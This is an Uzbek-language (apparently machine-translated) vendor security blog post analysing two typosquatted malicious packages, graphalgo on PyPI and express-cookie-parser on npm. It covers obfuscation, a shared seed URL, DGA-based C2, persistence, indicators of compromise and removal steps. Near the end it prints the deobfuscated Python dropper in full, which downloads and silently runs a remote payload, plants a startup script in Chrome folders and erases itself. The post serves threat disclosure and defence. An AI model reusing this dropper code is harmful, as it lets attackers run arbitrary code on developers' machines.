Dasturiy ta'minot zanjiri hujumlari 2025 - zararli paketlar - zararli python paketlari - zararli npm paketlari

2025-yilda dasturiy ta'minot ta'minoti zanjiri hujumlariga batafsilroq nazar: PyPI va npm kampaniyalarini taqqoslash

Xygeni yaqinda 2025-yilda dasturiy ta'minot ta'minoti zanjiri hujumlari manzarasida xavotirli naqshni kuzatdi, ikkita mashhur paket menejerlari orasida paydo bo'ladi: PyPI va npmBizning tahdidlarni aniqlash bo'yicha doimiy sa'y-harakatlarimizning bir qismi sifatida,Xygeni zararli dasturi haqida erta ogohlantirish (MEW) vositasi ilgari boshqa reyestrga yuklangan zararli paketning aniq, ammo metodologik jihatdan o'xshash misolini aniqladi. Ushbu holat tahdid ishtirokchilarining ekotizimlar bo'ylab hujum usullarini qanday rivojlantirayotganini va qayta ishlatayotganini, ayniqsa, orqali ta'kidlaydi. zararli Python paketlari va zararli npm paketlari, bu esa zararli paketlarning ochiq manbali ta'minot zanjirlariga kirib borish xavfini oshiradi.

Xygeni'ning MEW: O'xshashliklarni aniqlash

Xygeni'ning MEW vositasi zararli paketlarni, ayniqsa 2025-yilda dasturiy ta'minot ta'minoti zanjiri hujumlari bilan bog'liq bo'lganlarni, ular ochiq kodli registrlarga nashr etilgandan so'ng darhol aniqlash va belgilash uchun yaratilgan. U yangi paketlarni shubhali xatti-harakatlar uchun tahlil qilish orqali ishlaydi.

Bu holatda, u ikkitasini aniqladi zararli Python paketlari (graphalgo PyPI da) va zararli npm paketlari (express-cookie-parser npm da).

Dasturiy ta'minot zanjiri hujumlarida zararli Python va npm paketlari (2025)

Keling, ogohlantirishlarimizni ishga tushirgan umumiy xususiyatlarni ko'rib chiqaylik:

Typosquatting

Ularning ikkalasi ham mashhur mavjud paketlarni taqlid qilishga harakat qilishdi.

  • grafalgo (PyPI): "Grafiklar va tarmoqlarni yaratish va boshqarish uchun Python paketi."Nomli foydalanuvchi tomonidan yuklangan “larrytech” 2025-yil 13-iyunda ushbu paket o'zini asl zararli bo'lmagan graphalgo loyihasiga PyPi alternativi sifatida taqdim etdi, keyinchalik u graphdict deb o'zgartirildi.
  • ekspress-cookie-parser (npm): Bu paket taniqli cookie-parser paketini taqlid qildi, hatto uni aks ettirdi O'QISH.md. Bunday taqlid mavjud ishonchdan foydalanishning klassik taktikasidir.

Mudofaaning birinchi chizig'i sifatida obfuskatsiya

Ikkala paket ham o'zlarining zararli kodlarini asl fayllar ichida chalkashtirib yubordi. grafalgo, chalkash kod ichida topildi /utils/load_libraries.py. Agarda ekspress-kuki-parseri, cookie-loader.min.js chalkashtirilgan yukni o'z ichiga olgan.

Ushbu boshlang'ich obfuskatsiya qatlami odatda tasodifiy tekshirish va statik tahlilga xalaqit berish uchun ishlatiladi. Obfuskatsiya juda oddiy edi: takroriy ZLib siqilishi va Base64 kodlash. Ushbu turdagi obfuskatsiya dasturiy ta'minot o'z xatti-harakatlarini yashirishga harakat qilayotganini aniq ko'rsatadi. Boshqa dalillar bilan bir qatorda, bu Xygeni MEWga paketlarni potentsial zararli dastur sifatida tasniflash imkonini berdi. Tasdiqlash bosqichida bizning sharhlovchilarimiz darhol zararli dropper bosqichini aniqlaydigan deobfuskatsiya skriptini tayyorladilar.

Ko'p bosqichli yuklarni yetkazib berish va umumiy kelib chiqish nuqtasi

Ikkala paket ham dastlabki "tomchilar"haqiqiy yuk uchun zamin yaratdi. Ular umumiy tashqi "urug'lar"Fayl URL manzili:"
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Bu bir xil tashqi urug' fayli umumiy tahdid ishtirokchisining kuchli ko'rsatkichidir. Qizig'i shundaki, ushbu urug' faylining mazmuni oddiy muhit o'zgaruvchilari (masalan, JWT_SECRET, PORT) bo'lib ko'rinadi, bu esa uning haqiqiy funktsiyasini tekshirishda chalg'ituvchi bo'lishi mumkin.

DGA bilan dinamik C2 o'lchamlari

Ushbu zararli paketlarda kuzatiladigan murakkab taktika - bu buyruq va boshqaruv (C2) serverini dinamik ravishda hal qilish uchun Domen yaratish algoritmidan (DGA) foydalanishdir. Ko'pincha 2025-yilda rivojlangan dasturiy ta'minot ta'minot zanjiri hujumlarida kuzatiladigan bu usul urug' faylining tarkibidan olingan SHA256 xeshiga va boshqa qattiq kodlangan qiymatlarga tayanadi. Shunday qilib, C2 infratuzilmasi tez-tez o'zgarib turadi, bu esa an'anaviy qora ro'yxatni ancha samarasiz qiladi. Bu holda, npm varianti belgilangan qiymatdan foydalangan 496AAC7E uning DGA mantig'ining bir qismi sifatida.

Barqarorlikni o'rnatish

Ikkala tajovuzkor ham ta'sirlangan tizimlarda uzoq muddatli mavjudlikni o'rnatishga harakat qilishdi. Ularning strategiyasi faylni o'chirib tashlashni o'z ichiga olgan, startup.py (PyPi uchun) yoki startup.js (npm uchun), turli operatsion tizimlar (Windows, Linux, macOS) bo'ylab umumiy Google Chrome foydalanuvchi ma'lumotlari kataloglariga.

Bajarilgandan keyingi tozalash

Izlarni minimallashtirish uchun ikkala zararli skript ham tozalash operatsiyalarini amalga oshirdi. Bunga ularning dastlabki dropper fayllarini o'chirish (load_libraries.py, cookie-loader.min.js) va qonuniy paket fayllarini o'zgartirish (__init__.py, index.js) endi o'chirilgan komponentlarga havolalarni olib tashlash uchun.

Zararli Python va npm paketlaridagi murosaga kelish ko'rsatkichlari

  • PyPI paketi: graphalgo (larrytech tomonidan nashr etilgan, 2025-yil 13-iyun)
  • npm paketi: ekspress-cookie-parser (xususan, 1.4.12 versiyasi)
  • Umumiy urug' URL manziliga kirish

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Doimiy fayl nomlari: startup.py (Python) startup.js (JavaScript)
  • Umumiy doimiy yo'llar (OTga bog'liq)Google Chrome foydalanuvchi ma'lumotlari kataloglarida (masalan, AppData\Local\Google\Chrome\UserData\Scripts\ Windows’da, ~/.config/google-chrome/Scripts/ Linuxda va boshqalar).

2025-yilda dasturiy ta'minot ta'minoti zanjiri hujumlarida zararli paketlardan qanday himoyalanish mumkin

Dasturchilar uchun tavsiya etilgan yondashuv

Ushbu hodisa 2025-yilda dasturiy ta'minot ta'minoti zanjiri hujumlarining rivojlanayotgan tahdidlar manzarasida qimmatli amaliy tadqiqot bo'lib xizmat qiladi. Unda zararli Python paketlari va zararli npm paketlari ishonchli ekotizimlarga qanday kirib borishi, ko'pincha juda kech bo'lguncha aniqlashdan qochishi mumkinligi ta'kidlangan. Shuning uchun erta aniqlash, aqlli vositalar va proaktiv tizim gigienasi endi har qanday xavfsiz DevOps ish jarayonining muhim qismlari hisoblanadi. Ishlab chiquvchilar quyidagilarni ko'rib chiqishlari tavsiya etiladi:

Bog'liqlikni ko'rib chiqish

Agar sizning loyihalaringiz quyidagilarni o'z ichiga olgan bo'lsa grafalgo or ekspress-kuki-parseri, ularni olib tashlashni davom ettirish oqilona bo'lar edi.

  • PyPI uchun: pip uninstall graphalgo
  • npm uchun: npm uninstall express-cookie-parser

Tizim gigienasi

Keng qamrovli tizim tekshiruvini o'tkazishni ko'rib chiqing. Shuningdek, kutilmagan holatlar uchun Chrome foydalanuvchi ma'lumotlari katalogining umumiy yo'llarini qo'lda tekshirish tavsiya etiladi. startup.py or startup.js fayllar.

Proaktiv xavfsizlik choralari

  • Yangi qaramliklarni baholangIntegratsiyadan oldin yangi paketlarni batafsil baholash uchun odatiy tartibni o'rnating, notanish nashriyotchilarning paketlariga e'tibor qarating.
  • Xavfsizlik vositalarini birlashtiringXygeni'ning MEW kabi vositalari, shuningdek, boshqa dasturiy ta'minot tarkibini tahlil qilish vositalari (SCA) yechimlari shubhali xatti-harakatlar va zaifliklarni aniqlash orqali muhim himoya qatlamini ta'minlashi mumkin.
  • Eng kam imtiyozEng kam imtiyoz tamoyili bilan ishlab chiqish muhitlarini boshqarish murosaga kelishning potentsial ta'sirini cheklashga yordam beradi.
  • Tarmoq haqida xabardorlikG'ayrioddiy ulanishlar uchun chiquvchi tarmoq trafikini kuzatish ba'zan DGA tomonidan yaratilgan C2 aloqalarini aniqlashi mumkin.

ning asosiy komponentlari load_libraries.py (graphalgo'dan)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Belgilangan URL manzillaridan fayllarni olishni boshqaradi.
  • run_process()Tashqi Python skriptlarini alohida usulda bajaradi, natijani maxfiy saqlash uchun uni bostiradi.
  • get_output_file_path()Doimiy startup.py fayli uchun ideal tizim joylashuvini aniqlaydi.
  • remove_self()Dastlabki zararli fayllar va paket o'zgarishlarini bajarishdan keyingi tozalashni tashkil qiladi.
  • simple_shift_encrypt() / simple_shift_decrypt()DGA ni amalga oshirish uchun juda muhim bo'lgan aloqa kanallarini yashirish uchun maxsus kriptografik funktsiyalar.
  • load_libraries()Dastlabki yuklab olishdan tortib, yakuniy foydali yukni bajarish va tozalashgacha bo'lgan butun ko'p bosqichli jarayonni muvofiqlashtiruvchi markaziy funksiya.

Shundan keyin

MEW tomonidan aniqlangan boshqa potentsial zararli paketlar singari, qaramlik xavfsizlik devori ushbu zararli paketlarni o'z qaramliklariga kiritadigan foydalanuvchilarni darhol himoya qildi. Tasdiqlangandan so'ng, biz ikkala registr uchun ham bildirishnoma protseduralariga amal qildik, ular ko'rib chiqilgandan so'ng ikkala paketni ham olib tashladilar.

sca-vositalari-dasturiy ta'minot-kompozitsiya-tahlil-vositalari
Dasturiy ta'minot xavflaringizni ustuvorlashtiring, bartaraf eting va himoya qiling
Bepul hisobingizni oling.
Kredit karta talab qilinmaydi.

Dasturiy ta'minotingizni ishlab chiqish va yetkazib berishni ta'minlang

Xygeni mahsulot to'plami bilan